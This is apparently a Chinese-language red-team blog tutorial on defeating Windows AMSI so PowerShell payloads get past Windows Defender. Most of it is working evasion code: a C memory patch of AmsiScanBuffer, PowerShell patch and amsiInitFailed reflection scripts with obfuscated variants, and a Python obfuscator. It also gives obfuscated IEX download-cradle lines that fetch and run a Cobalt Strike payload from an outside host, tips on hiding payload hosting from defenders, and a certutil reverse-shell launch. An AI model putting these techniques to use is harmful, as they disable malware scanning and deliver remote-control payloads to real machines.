powershell无文件特性,在实战中还是比较好用的

AMSI 允许服务和应用程序与已安装的反恶意软件进行通信。当系统中开始创建进程或者被申请内存,AMSI 就会处于挂钩状态,例如,Windows 脚本主机(WSH) 和PowerShell,以便对正在执行的内容进行去混淆处理和分析。此内容在执行之前被“捕获”并发送到反恶意软件解决方案。

https://github.com/PKRoma/ProcessHacker

观察
这里可以用Process Monitor观察一下
过滤规则如下

image.png
image.png

火绒剑效果
我们会发现当我们启动powershell的时候,便加载了amsi.dll

amsi本质上是一个dll,故它具有其导出函数
image.png

手动检测

  1. 调试器附加并定位AmsiScanBuffer函数
image.png
  1. 修补该函数让其直接返回
image.png

windows defender为例

在腾讯云windows自带的windows def

字符串是否敏感是由amsi.dll中的AmsiScanBuffer函数来进行判断的
AmsiScanBuffer函数应该返回HRESULT类型值,这是一个整数值,用来表示操作是否成功

在函数执行过程中,待分析的内容会被发送到反恶意软件服务,后者会返回1到32762(含)之间的一个整数。整数值越大,则代表风险越高。如果证书大于或等于32762,那么就会将其判断为恶意数据,加以阻止。随后系统会根据返回的整数值来更新AMSI_RESULT变量值。

故可以看出amsi使用"基于字符串"的检测方式

  1. 使用replace去替换字符串内容
image.png
  1. 字符串断点+拼接
image.png
  1. 剩下可以通过编码方式
  • base64
  • XOR
  • HEX

内存补丁绕过技术

  • 创建一个powershell进程
  • 获取amsiscanbuffer函数地址
  • 修改函数内存空间属性
  • 修补函数执行体
#include <Windows.h>
#include <stdio.h>

int main() {
    STARTUPINFOA si = {0};
    PROCESS_INFORMATION pi = { 0 };
    si.cb = sizeof(si);
    
    CreateProcessA(NULL, (LPSTR)"powershell -NoExit dir", NULL, NULL, NULL, NULL, NULL, NULL, &si, &pi);
    
    HMODULE hAmsi = LoadLibraryA("amsi.dll");
    LPVOID pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
    
    Sleep(500);
    
    DWORD oldProtect;
    char patch = 0xc3;
    
    VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
    WriteProcessMemory(pi.hProcess, (LPVOID)pAmsiScanBuffer, &patch, sizeof(char),NULL);
    VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, oldProtect, NULL);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    FreeLibrary(hAmsi);
    return 0;
}

powershell脚本如下:

$Win32 = @"
 
using System;
using System.Runtime.InteropServices;
 
public class Win32 {
 
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
 
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
 
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
 
}
"@
 
Add-Type $Win32
 
$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]0)
$Patch = [Byte[]] (0xc3, 0x90, 0x90)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 3)
image.png

前提是要保证程序或者脚本不被查杀,否则起不到修补作用

  1. 使用CS生成一个ps1脚本

image.png
将其bases64编码

image.png
$Encryption = @'   '@.Replace('xxx','') 
##Encryption可以多用replace进行替换混淆

$Decryption = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($Encryption))

将修补代码加到IEX之前,从而破坏AMSI

image.png
image.png

image.png

将样本托管GitHub,虽然虽不会被防病毒标记,但是在实战攻防中非常容易就被蓝队溯源出个人信息,这边推荐一个可以在公网上挂起文本并且合法的网站https://paste.ee/,也可以创建一个github小号进行利用

IEX([Net.Webclient]::new().DownloadString("h%%%t%%%tp:%%%//10.212.2@@@@@02.188@@@@@:80@@@@@00/bypas%%%s.tx%%%t".Replace('@@@@@','').Replace('%%%','')))
IEX ((new-object net.webclient).downloadstring("ht@@@@@tp://1@@@@@0@!#$%^&*()1.3@@@@@9.xx.xx8:7@!#$%^&*()77/tt**************s.tx**************t".Replace('@@@@@','').Replace('@!#$%^&*()','').Replace('**************',''))




$webreq = [System.Net.WebRequest]::Create(‘0.0.0.0/1.ps1’)
$resp=$webreq.GetResponse()
$respstream=$resp.GetResponseStream()
$reader=[System.IO.StreamReader]::new($respstream)
$content=$reader.ReadToEnd()
IEX($content)

AMSI强制报错

强制AMSI初始化失败(amsiInitFailed)将导致不会为当前进程启动扫描.目前微软已经开发了一个签名来防止更广泛的使用

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)


原理已经被很多文章分析: https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-loggi
ng-evasion/,具体的小伙伴可以阅读以上文章,简单的说就是利用反射直接把判断是否要使用杀毒软件
进行扫描的变量始终改成false。这样AMSI就不会把我们的恶意脚本交给杀毒软件,而是直接返回
AMSI_RESULT_NOT_DETECTED

//混淆
$w = 'System.Management.Automation.A';$c = 'si';$m = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $w,$c,$m))
$field = $assembly.GetField(('am{0}InitFailed' -f $c),'NonPublic,Static')
$field.SetValue($null,$true)
    
//另外一个混淆
//System.Management.Automation.AmsiUtils和amsiInitFailed的编码数据
$a="5492868772801748688168747280728187173688878280688776828"
$b="1173680867656877679866880867644817687416876797271"
//对System.Management.Automation.AmsiUtils进行解码
$c=[string](0..37|%{[char][int](29+($a+$b).substring(($_*2),2))})-replace " "
$d=[Ref].Assembly.GetType($c)
//对amsiInitFailed进行解码
$e=[string](38..51|%{[char][int](29+($a+$b).substring(($_*2),2))})-replace " "
$f=$d.GetField($e,'NonPublic,Static')
//组合起来执行
$f.SetValue($null,$true)
payload1='System.Management.Automation.AmsiUtils'
payload2='amsiInitFailed'
key=29 #偏差是多少 比如这里是29
payload=payload1+payload2
result=''
for i in payload:
    result+=str(ord(i)-key)#ASCII每个字符再减去key的值
print('$a="'+result[0:len(result)//2]+'"')#分割,这里对半分的。注意在这里面的除法需要两个/
print('$b="'+result[len(result)//2:]+'"')
print('$c=[string](0..'+str(len(payload1)-1)+'|%{[char][int]('+str(key)+'+($a+$b).substring(($_*2),2))})-replace " "')#解码语句,应用到别的bypass场景或许也可以
print("$d=[Ref].Assembly.GetType($c)")
print('$e=[string]('+str(len(payload1))+".."+str(len(payload1)+len(payload2)-1)+' |%{[char][int]('+str(key)+'+($a+$b).substring(($_ * 2), 2))})-replace" "') #关键解码语句

print("$f=$d.GetField($e,'NonPublic,Static')")
print("$f.SetValue($null,$true)")payload1='System.Management.Automation.AmsiUtils'
payload2='amsiInitFailed'
key=29 #偏差是多少 比如这里是29
payload=payload1+payload2
result=''
for i in payload:
result+=str(ord(i)-key)#ASCII每个字符再减去key的值
print('$a="'+result[0:len(result)//2]+'"')#分割,这里对半分的。注意在
这里面的除法需要两个/
print('$b="'+result[len(result)//2:]+'"')
print('$c=[string](0..'+str(len(payload1)-1)+'|%{[char][int]
('+str(key)+'+($a+$b).substring(($_*2),2))})-replace " "')#解码语
句,应用到别的bypass场景或许也可以
print("$d=[Ref].Assembly.GetType($c)")
print('$e=[string]
('+str(len(payload1))+".."+str(len(payload1)+len(payload2)-1)+'|%
{[char][int]('+str(key)+'+($a+$b).substring(($_*2),2))})-replace
" "')#关键解码语句
print("$f=$d.GetField($e,'NonPublic,Static')")
print("$f.SetValue($null,$true)")

image.png
image.png
image.png
amsiContext分配内存区域,并且由于"amsiSession"设置为Null将导致错误

$mem=[System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSession","NonPublic,Static").SetValue($null, $null);[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext","NonPublic,Static").SetValue($null, [IntPtr]$mem)
//不免杀,因为Amsi标记了System.Management.Automation.AmsiUtils和amsiSession以及amsiContext字段,毕竟都带着amsi字眼

image.png
当然也要对其脚本进行混淆

import sys

def Cod(payload1,payload2,key):
    payload=payload1+payload2
    result=''
    for i in payload:
        result+=str(ord(i)-key)#ASCII每个字符再减去key的值
    print('$a="'+result[0:len(result)//2]+'"')#分割,这里对半分的。注意在这里面的除法需要两个/
    print('$b="'+result[len(result)//2:]+'"')
    print('$c=[string](0..'+str(len(payload1)-1)+'|%{[char][int]('+str(key)+'+($a+$b).substring(($_*2),2))})-replace " "')#解码语句,应用到别的bypass场景或许也可以
    print('$e=[string]('+str(len(payload1))+".."+str(len(payload1)+len(payload2)-1)+' |%{[char][int]('+str(key)+'+($a+$b).substring(($_ * 2), 2))})-replace" "') #关键解码语句


if __name__ == '__main__':
    print("python main.py 混淆字符串1 混淆字符串2 偏移")
    print("python main.py System.Management.Automation.AmsiUtils Amsisession 30")
    if len(sys.argv)!=4:
        print("请按照规定输入")
        sys.exit(0)
    Cod(sys.argv[1],sys.argv[2],int(sys.argv[3]))

提醒

windows deference熟悉base64+IEX套路,最好将其敏感字符串进行单独的编码

上面是在powershell环境下免杀的
后发现在cmd下wd会监控
不过

echo bases64命令 > 1.txt
certutil -f -decode 1.txt 1.ps1
powershell -f 1.ps1

base64我使用的是powershell的套接字代码,反弹powershell环境
不过猜测直接上线也可以

实战

382737acb06bebb98ff7c6f47e2e938.png
image.png

这里直接运用实战,发现可以直接绕过amsi的检测,成功上线